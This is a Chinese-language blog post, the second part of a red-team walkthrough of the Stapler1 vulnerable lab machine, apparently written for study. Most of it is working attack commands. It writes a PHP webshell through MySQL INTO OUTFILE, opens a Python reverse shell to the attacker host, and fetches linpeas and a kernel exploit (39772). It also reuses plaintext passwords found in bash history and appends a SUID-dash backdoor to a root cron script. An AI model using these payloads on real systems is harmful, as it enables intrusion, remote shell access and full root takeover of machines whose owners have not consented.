美文网首页
【网络安全】红队渗透项目之Stapler1(下)

【网络安全】红队渗透项目之Stapler1(下)

作者: H_00c8 | 来源:发表于2022-04-21 17:05 被阅读0次

    声明:本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

    建议阅读上一篇后再来阅读本文!!!

    六、Mysql攻陷服务器

    1、mysql INTO OUT文件上传

    MySQL中你可以使用SELECT...INTO OUTFILE语句来简单的导出数据到文本文件上。

    image.png

    1)INTO OUT 写入shell.php

    mysql -uroot -pplbkac -h 192.168.40.152
    select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
    
    image.png

    可看到利用INTO OUT特性写入了一句话并导入到本地站目录上!

    2)查看是否写入成功

    https://192.168.40.152:12380/blogblog/wp-content/uploads/
    
    image.png

    写入成功!

    3)URL执行cmd命令

    https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=id
    
    image.png

    可看到一句话成功写入,利用一句话特性执行了命令获得服务器信息回显!

    2、一句话触发反弹shell

    1)查看是否可以用Python写入一句话

    https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=which%20python
    
    image.png

    存在python模块!直接利用!

    2)开启nc监听

    nc -lvp 8887
    
    image.png

    本地kali开启好监听!

    3)在cmd URL写入Python一句话,反弹shell到本地kali

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.149",8887));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    image.png

    反弹成功,获得shell

    七、内网信息枚举

    通过以上各种方法获取到服务器权限后,开启内部信息收集工作!将利用linpeas枚举脚本进行探测行为!

    【相关技术文档】
    1、网络安全学习路线
    2、电子书籍(白帽子)
    3、安全大厂内部视频
    4、100份src文档
    5、常见安全面试题
    6、ctf大赛经典题目解析
    7、全套工具包
    8、应急响应笔记

    1、Linpeas文件上传

    开启Python http服务,上传linpeas.sh脚本对靶机进行信息收集:

    python -m SimpleHTTPServer 8082
    wget http://192.168.40.149:8082/linpeas.sh
    
    image.png

    成功上传!

    2、赋权并执行脚本

    chmod +x linpeas.sh
    /linpeas.sh
    
    image.png

    赋权后执行该脚本,开始查看收集到的信息,筛查提炼!

    3、内部信息收集筛查

    1)发现版本信息

    image.png

    可以尝试内核提权!

    2)发现用户信息枚举

    image.png
    JKanode:x:1013:1013::/home/JKanode:/bin/bash
    peter:x:1000:1000:Peter,,,:/home/peter:/bin/zsh
    uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
    
    

    peter用户可利用sudo提权!

    3)发现数据库信息泄露

    image.png

    之前已经查找到MySQL账户密码!内部也是能枚举到的!

    4)发现可写入sh文件

    image.png

    可尝试写入sh文件,漏洞利用提权!

    八、提权-三种方法

    1、内核提权-方法1

    1)kali搜索版本信息,是否存在漏洞

    查找版本漏洞:

    searchsploit Linux Kernel 4.4.x
    
    image.png

    可以利用linux/local/39772.txt!

    2)39772利用

    下载到本目录:

    cp /usr/share/exploitdb/exploits/linux/local/39772.txt .
    
    image.png

    查看39772如何利用:

    cat 39772.txt
    
    image.png image.png

    提示需到exploit-DB下载39772.zip文件!

    3)wget下载39772.zip

    proxychains wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
    
    image.png

    成功下载!如果不行挂代理下载!

    4)开启http服务,上传到项目

    python -m SimpleHTTPServer 8085
    wget http://10.211.55.19:8085/39772.zip
    
    image.png

    利用wget连接本地的http服务成功上传文件!

    5)解压并枚举

    unzip 39772.zip    解压39772.zip文件
    cd 39772             到39772目录下
    tar xvf exploit.tar    解压exploit.tar,发现ebpf_mapfd_doubleput_exploit目录
    cd ebpf_mapfd_doubleput_exploit   到该目录下,发现compile.sh文件
    chmod +x compile.sh     给sh文件赋权
    
    image.png

    通过zip解压后开始利用!

    6)执行文件提权

    ./compile.sh    执行sh文件
    ls              查看,发现是由gcc编译的.c文件
    ./doubleput     执行.c文件
    
    image.png

    成功拿到root权限!

    2、SSH-sudo登录内核提权-方法2

    利用ssh信息收集技巧查看信息!

    1)枚举ssh信息

    grep 指令用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设 grep 指令会把含有范本样式的那一列显示出来。若不指定任何文件名称,或是所给予的文件名为 -,则 grep 指令会从标准输入设备读取数据。

    grep -rn "ssh"   ---枚举当前目录下存在ssh信息的内容
    
    image.png
    JKanode/.bash_history:6:sshpass -p thisimypassword ssh JKanode@localhost
    JKanode/.bash_history:8:sshpass -p JZQuyIN5 peter@localhost
    

    发现2个用户密码:

    用户1:peter,密码:JZQuyIN5
    用户2:JKanode  密码:thisimypassword
    

    这时候利用账号密码尝试登录!

    2)ssh登录用户

    JKanode用户登录枚举:

    ssh JKanode@192.168.40.152
    thisimypassword
    
    image.png

    没什么信息!

    peter用户登录枚举:

    ssh peter@192.168.40.152
    JZQuyIN5
    
    image.png

    登录进去发现这是zsh的shell!,并且可以sudo提权!

    3)sudo提权

    用户信息枚举就发现peter用户存在sudo提权漏洞,查看sudo给<typo id="typo-3266" data-origin="与" ignoretag="true">与</typo>的权限:

    image.png
    sudo -l
    User peter may run the following commands on red:
        (ALL : ALL) ALL
    

    可看到给与的权限为ALL最高权限!直接sudo提权:

    sudo su 
    
    image.png

    成功提权root!

    3、计划任务+可写文件提权-方法3

    在内网信息枚举的时候发现可写入sh文件漏洞利用:

    [+] .sh files in path
    [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
    You can write script: /usr/local/sbin/cron-logrotate.sh
    

    1)查找和logrotate相关的文件信息

    利用find全局枚举该文件信息:

    find / -name logrotate* 2>/dev/null  
    
    image.png

    发现/etc/cron.d/logrotate文件!

    2)查看/etc/cron.d/logrotate文件

    image.png
    cat /etc/cron.d/logrotate
    */5 *   * * *   root  /usr/local/sbin/cron-logrotate.sh
    

    可看到每五分钟运行一次cron-logrotate.sh!

    3)写入dash代码

    echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-logrotate.sh
    cat /usr/local/sbin/cron-logrotate.sh
    
    image.png

    通过写入代码内容为,复制dash到tmp目录下并赋予最高权限!在tmp目录下生成了exploit可执行文件!

    4)运行exploit,获得root权限

    /tmp/exploit -p
    

    因为写入的是dash,用-p获取root

    image.png

    获得root权限!获得flag:

    cd /root
    cat flag.txt
    
    image.png

    获得flag信息!

    九、知识拓展小技巧

    smbclient连接共享小技巧

    Linux smbclient命令可存取SMB/CIFS服务器的用户端程序。
    SMB与CIFS为服务器通信协议,常用于Windows95/98/NT等系统。smbclient(samba client)可让Linux系统存取Windows系统所分享的资源。

    image.png
    smbclient -L //192.168.40.152
    -L 显示服务器端所分享出来的所有资源
    

    之前已知kathy和tmp是开放的!

    1)连接这2个文件夹

    连接kathy文件夹:

    smbclient ///kathy -I 192.168.40.152 -N
    
    -I<IP地址> 指定服务器的IP地址
    -N 不用询问密码
    
    cd kathy_stuff
    get todo-list.txt
    cd backup
    get vsftpd.conf
    get wordpress-4.tar.gz
    
    image.png

    通过命令连接后发现三个文件信息都成功下载!

    连接tmp文件夹:

    连接tmp文件夹,下载文件ls至本地

    smbclient ///tmp -I 192.168.40.152 -N
    get ls
    
    image.png

    通过命令连接后发现文件信息都成功下载!

    2)枚举文件信息

    image.png

    成功下载4个文件后,通过阅读查看均无可用信息!

    十、总结

    通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap全端口信息枚举、FTP信息枚举、Samba信息收集、暴力破解ssh信息枚举、nc信息枚举666端口、枚举12380端口信息收集、Wpscan信息收集、39646 exp利用、Mysql信息枚举、John暴力破解、php-webshell文件上传利用、weevely文件上传利用、webacoo文件上传利用、Msfconsole文件上传上线webshell、mysql INTO OUT文件上传攻陷服务器、Linpeas信息枚举、内核提权、SSH-sudo登录内核提权、计划任务+可写文件提权等等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!

    希望大家提高安全意识,没有网络安全就没有国家安全!

    相关文章

      网友评论

          本文标题:【网络安全】红队渗透项目之Stapler1(下)

          本文链接:https://www.haomeiwen.com/subject/yxbiertx.html